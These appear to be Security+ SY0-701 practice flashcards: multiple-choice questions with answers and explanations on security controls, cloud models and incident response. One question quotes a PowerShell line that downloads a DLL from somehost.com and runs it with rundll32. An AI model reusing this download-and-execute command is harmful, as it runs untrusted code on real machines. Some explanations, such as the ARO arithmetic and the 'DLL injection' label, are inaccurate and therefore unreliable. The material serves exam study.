CompTIA SEC+ SY0-701 Exam V2 Flashcards
Which of the following is required in order for an IDS and a WAF to be effective on HTTPS traffic?
A. Hashing
B. DNS sinkhole
C. TLS inspection
D. Data masking
Intrusion Detection System (IDS)
Web Application Firewall (WAF)
Domain Name System (DNS)
Transport Layer Security (TLS)
TLS inspection
TLS (Transport Layer Security) is a protocol that is used to encrypt data sent over HTTPS (Hypertext Transfer Protocol Secure). In order for an intrusion detection system (IDS) and a web application firewall (WAF) to be effective on HTTPS traffic, they must be able to inspect the encrypted traffic. TLS inspection allows the IDS and WAF to decrypt and inspect the traffic, allowing them to detect any malicious activity.
A network architect wants a server to have the ability to retain network availability even if one of the network switches it is connected to goes down. Which of the following should the architect implement on the server to achieve this goal?
A. RAID
B. UPS
C. NIC teaming
D. Load balancing
redundant array of independent disks (RAID)
Uninterruptible Power Supply (UPS)
Network Interface Card (NIC)
NIC teaming
NIC Teaming is a feature that allows a server to be connected to multiple network switches, providing redundancy and increased network availability. If one of the switches goes down, the server will still be able to send and receive data through one of the other switches.
Which of the following control types is patch management classified under?
A. Deterrent
B. Physical
C. Corrective
D. Detective
Corrective
Patch management is classified as a corrective control because it is used to correct vulnerabilities or weaknesses in systems and applications after they have been identified. It is a reactive approach that aims to fix problems that have already occurred rather than prevent them from happening in the first
place.
A new security engineer has started hardening systems. One of the hardening techniques the engineer is using involves disabling remote logins to the NAS. Users are now reporting the inability to use SCP to transfer files to the NAS, even though the data is still viewable from the users’ PCs. Which of the following is the MOST likely cause of this issue?
A. TFTP was disabled on the local hosts.
B. SSH was turned off instead of modifying the configuration file.
C. Remote login was disabled in the networkd.conf instead of using the sshd. conf.
D. Network services are no longer running on the NAS
network-attached storage (NAS)
Secure Copy Protocol (SCP)
Trivial File Transfer Protocol (TFTP)
Secure Shell (SSH)
SSH was turned off instead of modifying the configuration file.
SSH is used to securely transfer files to the remote server and is required for SCP to work. Disabling SSH will prevent users from being able to use SCP to transfer files to the server. To enable SSH, the security engineer should modify the SSH configuration file (sshd.conf) and make sure that SSH is enabled.
The findings in a consultant’s report indicate the most critical risk to the security posture from an incident response perspective is a lack of workstation and server investigation capabilities. Which of the following should be implemented to remediate this risk?
A. HIDS
B. FDE
C. NGFW
D. EDR
host-based intrusion detection system (HIDS)
Full-disk encryption (FDE)
next-generation firewall (NGFW)
Endpoint Detection and Response (EDR)
EDR
EDR solutions are designed to detect and respond to malicious activity on workstations and servers, and they provide a detailed analysis of the incident, allowing organizations to quickly remediate the threat.
EDR solutions can be used to detect malicious activity on endpoints, investigate the incident, and contain the threat. EDR solutions can also provide real-time monitoring and alerting for potential security events, as well as detailed forensic analysis for security incidents. Additionally, the text book recommends that organizations also implement a host-based intrusion detection system (HIDS) to alert them to malicious activity on their workstations and servers.
The management team has requested that the security team implement 802.1X into the existing wireless network setup. The following requirements must be met:
- Minimal interruption to the end user
- Mutual certificate validation
Which of the following authentication protocols would meet these requirements?
A. EAP-FAST
B. PSK
C. EAP-TTLS
D. EAP-TLS
Flexible Authentication via Secure Tunneling (EAP-FAST)
Pre-Shared Key (PSK)
Extensible Authentication Protocol - Tunneled Transport Layer Security (EAP-TTLS)
Extensible Authentication Protocol - Transport Layer Security (EAP-TLS)
EAP-TLS
EAP-TLS (Extensible Authentication Protocol - Transport Layer Security) is an authentication protocol that uses certificates to provide mutual authentication between the client and the authentication server. It also allows for the encryption of user credentials, making EAP-TLS a secure and reliable
authentication protocol.
EAP-TLS is well-suited for wireless networks due to its mutual authentication capabilities and its ability to securely store credentials. It is also the preferred authentication protocol for 802.1X wireless networks.
Which of the following describes where an attacker can purchase DDoS or ransomware services?
A. Threat intelligence
B. Open-source intelligence
C. Vulnerability database
D. Dark web
Distributed Denial-of-Service (DDoS) Attack
Dark web
The best option to describe where an attacker can purchase DDoS or ransomware services is the dark web. The dark web is an anonymous, untraceable part of the internet where a variety of illicit activities take place, including the purchase of DDoS and ransomware services
Attackers can purchase these services anonymously and without the risk of detection or attribution. Additionally, the text book recommends that organizations monitor the dark web to detect any possible threats or malicious activity.
A digital forensics team at a large company is investigating a case in which malicious code was downloaded over an HTTPS connection and was running in memory, but was never committed to disk. Which of the following techniques should the team use to obtain a sample of the malware binary?
A. pcap reassembly
B. SSD snapshot
C. Volatile memory imaging
D. Extract from checksums
Hypertext transfer protocol secure (HTTPS)
Packet capture (PCAP)
Solid State Drive (SSD)
Volatile memory imaging
The best technique for the digital forensics team to use to obtain a sample of the malware binary is to image volatile memory. Volatile memory imaging is a process of collecting a snapshot of the contents of a computer’s RAM, which can include active malware programs.
Random access memory (RAM)
Volatile memory imaging can be used to capture active malware programs that are running in memory, but have not yet been committed to disk. This technique is especially useful in cases where the malware is designed to self-destruct or erase itself from the disk after execution.
A security administrator is managing administrative access to sensitive systems with the following requirements:
- Common login accounts must not be used for administrative duties.
- Administrative accounts must be temporal in nature.
- Each administrative account must be assigned to one specific user.
- Accounts must have complex passwords.
- Audit trails and logging must be enabled on all systems.
Which of the following solutions should the administrator deploy to meet these requirements?
A. ABAC
B. SAML
C. PAM
D. CASB
Attribute-based access control (ABAC)
Security Assertion Markup Language (SAML)
Privileged access management (PAM)
Cloud Access Security Broker (CASB)
Privileged Access Management (PAM)
PAM is a solution that enables organizations to securely manage users’ accounts and access to sensitive systems. It allows administrators to create unique and complex passwords for each user, as well as assign each account to a single user for administrative duties. PAM also provides audit trails and logging capabilities, allowing administrators to monitor user activity and ensure that all systems are secure.
PAM is the most comprehensive way to control and monitor privileged accounts.
Physical access to the organization’s servers in the data center requires entry and exit through multiple access points: a lobby, an access control vestibule, three doors leading to the server floor itself and eventually to a caged area solely for the organization’s hardware. Which of the following controls is described in this scenario?
A. Compensating
B. Deterrent
C. Preventive
D. Detective
Preventive
The scenario describes preventive controls, which are designed to stop malicious actors from gaining access to the organization’s servers. This includes using multiple access points, such as a lobby, an access control vestibule, and multiple doors leading to the server floor, as well as caging the
organization’s hardware.
Preventive controls are “designed to stop malicious actors from performing a malicious activity or gaining access to an asset.” These controls can include technical solutions, such as authentication and access control systems, physical security solutions, such as locks and barriers, and administrative solutions such as policy enforcement.
A company would like to protect credit card information that is stored in a database from being exposed and reused. However, the current POS system does not support encryption. Which of the following would be BEST suited to secure this information?
A. Masking
B. Tokenization
C. DLP
D. SSL/TLS
Point-of-sale (POS)
Data Loss Prevention (DLP)
Secure Sockets Layer and Transport Layer Security (SSL/TLS)
Tokenization
Tokenization replaces sensitive data with non-sensitive data, such as a unique identifier. This means that the data is still present in the system, but the sensitive information itself is replaced with the token. Tokenization is more secure than masking, which only obscures the data but does not eliminate it. DLP is not suitable for this task, as it is designed to prevent the loss or leakage of data from the system. SSL/TLS can be used to secure the transmission of data, but it cannot prevent the data itself from being exposed or reused.
A company needs to enhance Its ability to maintain a scalable cloud Infrastructure. The Infrastructure needs to handle the unpredictable loads on the company’s web application. Which of the following cloud concepts would be BEST for these requirements?
A. SaaS
B. VDI
C. Containers
D. Microservices
Software as a Service (SaaS)
Virtual Desktop Infrastructure (VDI)
Containers
Containers are a type of virtualization technology that allow applications to run in a secure, isolated environment on a single host. They can be quickly scaled up or down as needed, making them an ideal solution for unpredictable loads. Additionally, containers are designed to be lightweight and portable, so they can easily be moved from one host to another.
A user is trying to upload a tax document, which the corporate finance department requested, but a security program is prohibiting the upload. A security analyst determines the file contains Pll, which of the following steps can the analyst take to correct this issue?
A. Create a URL filter with an exception for the destination website.
B. Add a firewall rule to the outbound proxy to allow file uploads
C. Issue a new device certificate to the user’s workstation.
D. Modify the exception list on the DLP to allow the upload
Modify the exception list on the DLP to allow the upload
Data Loss Prevention (DLP) policies are used to identify and protect sensitive data, and often include a list of exceptions that allow certain types of data to be uploaded or shared. By modifying the exception list on the DLP, the security analyst can allow the tax document to be uploaded without compromising the security of the system.
A corporate security team needs to secure the wireless perimeter of its physical facilities to ensure only authorized users can access corporate resources. Which of the following should the security team do?
A. Identify rogue access points.
B. Check for channel overlaps.
C. Create heat maps.
D. Implement domain hijacking.
Identify rogue access points.
To secure the wireless perimeter of its physical facilities, the corporate security team should focus on identifying rogue access points, which are unauthorized access points that have been set up by employees or outsiders to bypass security controls. By identifying and removing these rogue access
points, the team can ensure that only authorized users can access corporate resources through the wireless network.
An employee received an email with an unusual file attachment named Updates.Lnk. A security analysts reverse engineering what the file does and finds that it executes the following script:
C:\Windows \System32\WindowsPowerShell\vl.0\powershell.exe -URI
https://somehost.com/04EB18.jpg -OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe
$env:TEMP\autoupdate.dll
Which of the following BEST describes what the analyst found?
A. A Powershell code is performing a DLL injection.
B. A PowerShell code is displaying a picture.
C. A PowerShell code is configuring environmental variables.
D. A PowerShell code is changing Windows Update settings.
Dynamic Link Library (DLL)
A Powershell code is performing a DLL injection.
A PowerShell code that uses rundll32.exe to execute a DLL file is performing a DLL injection attack. This is a type of code injection attack that exploits the Windows process loading mechanism.
An organization recently released a software assurance policy that requires developers to run code scans each night on the repository. After the first night, the security team alerted the developers that more than 2,000 findings were reported and need to be addressed. Which of the following is MOST likely the cause for the high number of findings?
A. The vulnerability scanner was not properly configured and generated a high number of false positives.
B. Third-party libraries have been loaded into the repository and should be removed from the codebase.
C. The vulnerability scanner found several memory leaks during runtime, causing duplicate reports for the same issue.
D. The vulnerability scanner was not loaded with the correct benchmarks and needs to be updated.
The vulnerability scanner was not properly configured and generated a high number of false positives.
The most likely cause for the high number of findings is that the vulnerability scanner was not properly configured and generated a high number of false positives. False positive results occur when a vulnerability scanner incorrectly identifies a non-vulnerable system or application as being vulnerable. This can happen due to incorrect configuration, over-sensitive rule sets, or outdated scan databases.
A security team suspects that the cause of recent power consumption overloads is the unauthorized use of empty power outlets in the network rack. Which of the following options will mitigate this issue without compromising the number of outlets available?
A. Adding a new UPS dedicated to the rack
B. Installing a managed PDU
C. Using only a dual power supplies unit
D. Increasing power generator capacity
Power Distribution Unit (PDU)
Uninterruptible Power Supplies (UPS)
Installing a managed PDU
Installing a managed PDU is the most appropriate option to mitigate the issue without compromising the number of outlets available. A managed Power Distribution Unit (PDU) helps monitor, manage, and control power consumption at the rack level. By installing a managed PDU, the security team will have greater visibility into power usage in the network rack, and they can identify and eliminate unauthorized devices that consume excessive power from empty outlets.
A web server log contains two million lines. A security analyst wants to obtain the next 500 lines starting from line 4,600. Which of the following commands will help the security analyst to achieve this objective?
A. cat webserver.log | head -4600 | tail +500 |
B. cat webserver.log | tail -1995400 | tail -500 |
C. cat webserver.log | tail -4600 | head -500 |
D. cat webserver.log | head -5100 | tail -500 |
cat webserver.log | head -5100 | tail -500 |
The cat command displays the contents of a file, the head command displays the first lines of a file, and the tail command displays the last lines of a file. To display a specific number of lines from a file, you can use a minus sign followed by a number as an option for head or tail. For example, head -10
will display the first 10 lines of a file. To obtain the next 500 lines starting from line 4,600, you need to use both head and tail commands.
A security engineer is concerned the strategy for detection on endpoints is too heavily dependent on previously defined attacks. The engineer wants a tool that can monitor for changes to key files and network traffic for the device. Which of the following tools should the engineer select?
A. HIDS
B. AV
C. NGF-W
D. DLP
Host Intrusion Detection System (HIDS)
Anti-virus Software (AV)
next-generation firewall (NGFW)
HIDS
The security engineer should select a Host Intrusion Detection System (HIDS) to address the concern. HIDS monitors and analyzes the internals of a computing system, such as key files and network traffic, for any suspicious activity. Unlike antivirus software (AV), which relies on known signatures of
malware, HIDS can detect anomalies, policy violations, and previously undefined attacks by monitoring system behavior and the network traffic of the device.
Which of the following would a security analyst use to determine if other companies in the same sector have seen similar malicious activity against their systems?
A. Vulnerability scanner
B. Open-source intelligence
C. Packet capture
D. Threat feeds
Threat feeds
Threat feeds, also known as threat intelligence feeds, are a source of information about current and emerging threats, vulnerabilities, and malicious activities targeting organizations. Security analysts use threat feeds to gather information about attacks and threats targeting their industry or sector. These feeds are typically provided by security companies, research organizations, or industry-specific groups. By using threat feeds, analysts can identify trends, patterns, and potential threats that may target their own organization, allowing them to take proactive steps to protect their systems.
A cybersecurity analyst needs to adopt controls to properly track and log user actions to an individual. Which of the following should the analyst implement?
A. Non-repudiation
B. Baseline configurations
C. MFA
D. DLP
Multi-Factor Authentication (MFA)
Data Loss Prevention (DLP)
Non-repudiation
Non-repudiation is the process of ensuring that a party involved in a transaction or communication cannot deny their involvement. By implementing non-repudiation controls, a cybersecurity analyst can properly track and log user actions, attributing them to a specific individual. This can be achieved through methods such as digital signatures, timestamps, and secure logging mechanisms.
A company would like to move to the cloud. The company wants to prioritize control and security over cost and ease of management. Which of the following cloud models would best suit this company’s priorities?
A. Public
B. Hybrid
C. Community
D. Private
Private
A private cloud model would best suit the company’s priorities of control and security over cost and ease of management. In a private cloud, the infrastructure is dedicated to a single organization, providing greater control over the environment and the ability to implement strict security measures. This is in contrast to public, community, or hybrid cloud models, where resources are shared among multiple organizations, potentially compromising control and security. While private clouds can be more expensive and more difficult to manage, they have the highest level of control and security for the company.
Which of the following is a solution that can be used to stop a disgruntled employee from copying confidential data to a USB drive?
A. DLP
B. TLS
C. AV
D. IDS
Data Loss Prevention (DLP)
Transport Layer Security (TLS)
Anti-Virus Software (AV)
Intrusion Detection System (IDS)
DLP
DLP stands for data loss prevention, which is a set of tools and processes that aim to prevent unauthorized access, use, or transfer of sensitive data. DLP can help mitigate the risk of data exfiltration by disgruntled employees or external attackers by monitoring and controlling data flows across endpoints, networks, and cloud services. DLP can also detect and block attempts to copy, transfer, or upload sensitive data to a USB drive or other removable media based on predefined policies and rules.
A company has hired an assessment team to test the security of the corporate network and employee vigilance. Only the Chief Executive Officer and Chief Operating Officer are aware of this exercise, and very little information has been provided to the assessors. Which of the following is taking place?
A. A red-team test
B. A white-team test
C. A purple-team test
D. A blue-team test
A red-team test
A red-team test is a type of security assessment that simulates a real-world attack on an organization’s network, systems, applications, and people. The goal of a red-team test is to evaluate the organization’s security posture, identify vulnerabilities and gaps, and test the effectiveness of its detection and response capabilities. A red-team test is usually performed by a group of highly skilled security professionals who act as adversaries and use various tools and techniques to breach the organization’s defenses. A red-team test is often conducted without the knowledge or consent of most of the organization’s staff, except for a few senior executives who authorize and oversee the exercise.
A security team discovered a large number of company-issued devices with non-work-related software installed. Which of the following policies would most likely contain language that would prohibit this activity?
A. NDA
B. BPA
C. AUP
D. SLA
Non-Disclosure Agreement (NDA)
Business partnership agreements (BPA)
Acceptable-Use Policy (AUP)
service level agreement (SLA)
AUP
AUP stands for acceptable use policy, which is a document that defines the rules and guidelines for using an organization’s network, systems, devices, and resources. An AUP typically covers topics such as authorized and unauthorized activities, security requirements, data protection, user
responsibilities, and consequences for violations. An AUP can help prevent non-work-related software installation on company-issued devices by clearly stating what types of software are allowed or prohibited, and what actions will be taken if users do not comply with the policy.
A company recently implemented a patch management policy; however, vulnerability scanners are still flagging several hosts even after the completion of the patch process. Which of the following is the most likely cause of the issue?
A. The vendor firmware lacks support.
B. Zero-day vulnerabilities are being discovered.
C. Third-party applications are not being patched.
D. Code development is being outsourced.
Third-party applications are not being patched.
Third-party applications are applications that are developed and provided by external vendors or sources, rather than by the organization itself. Third-party applications may introduce security risks if they are not properly vetted, configured, or updated. One of the most likely causes of vulnerability scanners flagging several hosts after the completion of the patch process is that third-party applications are not being patched. Patching is the process of applying updates or fixes to software to address bugs, vulnerabilities, or performance issues. Patching third-party applications is essential for maintaining their security and functionality, as well as preventing attackers from exploiting known flaws.
A network administrator needs to determine the sequence of a server farm’s logs. Which of the following should the administrator consider? (Select two).
A. Chain of custody
B. Tags
C. Reports
D. Time stamps
E. Hash values
F. Time offset
Time stamps & Time offset
A server farm’s logs are records of events that occur on a group of servers that provide the same service or function. Logs can contain information such as date, time, source, destination, message, error code, and severity level. Logs can help administrators monitor the performance, security, and
availability of the servers and troubleshoot any issues. To determine the sequence of a server farm’s logs, the administrator should consider the following factors:
Time stamps: Time stamps are indicators of when an event occurred on a server. Time stamps can help administrators sort and correlate events across different servers based on chronological order. However, time stamps alone may not be sufficient to determine the sequence of events if the servers
have different time zones or clock settings.
Time offset: Time offset is the difference between the local time of a server and a reference time, such as Coordinated Universal Time (UTC) or Greenwich Mean Time (GMT). Time offset can help administrators adjust and synchronize the time stamps of different servers to a common reference
time and eliminate any discrepancies caused by time zones or clock settings.
A global pandemic is forcing a private organization to close some business units and reduce staffing at others. Which of the following would be best to help the organization’s executives determine their next course of action?
A. An incident response plan
B. A communication plan
C. A disaster recovery plan
D. A business continuity plan
A business continuity plan
A business continuity plan (BCP) is a document that outlines how an organization will continue its critical functions during and after a disruptive event, such as a natural disaster, pandemic, cyberattack, or power outage. A BCP typically covers topics such as business impact analysis, risk assessment, recovery strategies, roles and responsibilities, communication plan, testing and training, and maintenance and review. A BCP can help the organization’s executives determine their next course of action by providing them with a clear framework and guidance for managing the crisis and resuming normal operations.
A security administrator suspects there may be unnecessary services running on a server. Which of the following tools will the administrator most likely use to confirm the suspicions?
A. Nmap
B. Wireshark
C. Autopsy
D. DNSEnum
Nmap
Nmap is a tool that is used to scan IP addresses and ports in a network and to detect installed applications. Nmap can help a security administrator determine the services running on a server by sending various packets to the target and analyzing the responses. Nmap can also perform various tasks such as OS detection, version detection, script scanning, firewall evasion, and vulnerability scanning.
While researching a data exfiltration event, the security team discovers that a large amount of data was transferred to a file storage site on the internet. Which of the following controls would work best to reduce the risk of further exfiltration using this method?
A. Data loss prevention
B. Blocking IP traffic at the firewall
C. Containerization
D. File integrity monitoring
Data loss prevention
Data loss prevention (DLP) is a set of tools and processes that aim to prevent unauthorized access, use, or transfer of sensitive data. DLP can help reduce the risk of further exfiltration using file storage sites on the internet by monitoring and controlling data flows across endpoints, networks, and cloud services. DLP can also detect and block attempts to copy, upload, or download sensitive data to or from file storage sites based on predefined policies and rules.
An IT manager is estimating the mobile device budget for the upcoming year. Over the last five years, the number of devices that were replaced due to loss, damage, or theft steadily increased by 10%. Which of the following would best describe the estimated number of devices to be replaced next
year?
A. SLA
B. ARO
C. RPO
D. SLE
service level agreement (SLA)
annualized rate of occurrence (ARO)
Recovery point objective (RPO)
Single Loss Expectancy (SLE)
ARO
ARO stands for annualized rate of occurrence, which is a metric that estimates how often a threat event will occur within a year. ARO can help an IT manager estimate the mobile device budget for the upcoming year by multiplying the number of devices replaced in the previous year by the percentage increase of replacement over the last five years. For example, if 100 devices were replaced in the previous year and the replacement rate increased by 10% each year for the last five years, then the estimated number of devices to be replaced next year is 100 x (1 + 0.1)^5 = 161.
An engineer is using scripting to deploy a network in a cloud environment. Which of the following describes this scenario?
A. SDLC
B. VLAN
C. SDN
D. SDV
software development lifecycle (SDLC)
virtual local area network (VLAN)
software-defined networking (SDN)
Software-Defined Visibility (SVD)
SDN
SDN stands for software-defined networking, which is an approach to networking that uses software-based controllers or application programming interfaces (APIs) to communicate with underlying hardware infrastructure and direct traffic on a network. SDN decouples the network control plane from the data plane, enabling centralized management and programmability of network resources. SDN can help an engineer use scripting to deploy a network in a cloud environment by allowing them to define and automate network policies, configurations, and services through software commands.
A candidate attempts to go to http://comptia.com but accidentally visits http://comptiia.org. The malicious website looks exactly like the legitimate website. Which of the following best describes this type of attack?
A. Reconnaissance
B. Impersonation
C. Typosquatting
D. Watering-hole
Typosquatting
Typosquatting is a type of cyberattack that involves registering domains with deliberately misspelled names of well-known websites. The attackers do this to lure unsuspecting visitors to alternative websites, typically for malicious purposes. Visitors may end up at these alternative websites by inadvertently mistyping the name of popular websites into their web browser or by being lured by a phishing scam. The attackers may emulate the look and feel of the legitimate websites and trick users into entering sensitive information or downloading malware
A police department is using the cloud to share information with city officials. Which of the cloud models describes this scenario?
A. Hybrid
B. Private
C. Public
D. Community
Community
A community cloud model describes a scenario where a cloud service is shared among multiple organizations that have common goals, interests, or requirements. A community cloud can be hosted by one of the organizations, a third-party provider, or a combination of both. A community cloud can offer benefits such as cost savings, security, compliance, and collaboration. A police department using the cloud to share information with city officials is an example of a community cloud model.
Which of the following security design features can help a development team analyze the deletion or editing of data sets without affecting the original the copy?
A. Stored procedures
B. Code reuse
C. Version control
D. Continunus
Version control
Version control is a solution that can help a development team analyze the deletion or editing of data sets without affecting the original copy. Version control is a system that records changes to a file or set of files over time so that specific versions can be recalled later. Version control can help developers track and manage changes to code, data, or documents, as well as collaborate with other developers and resolve conflicts.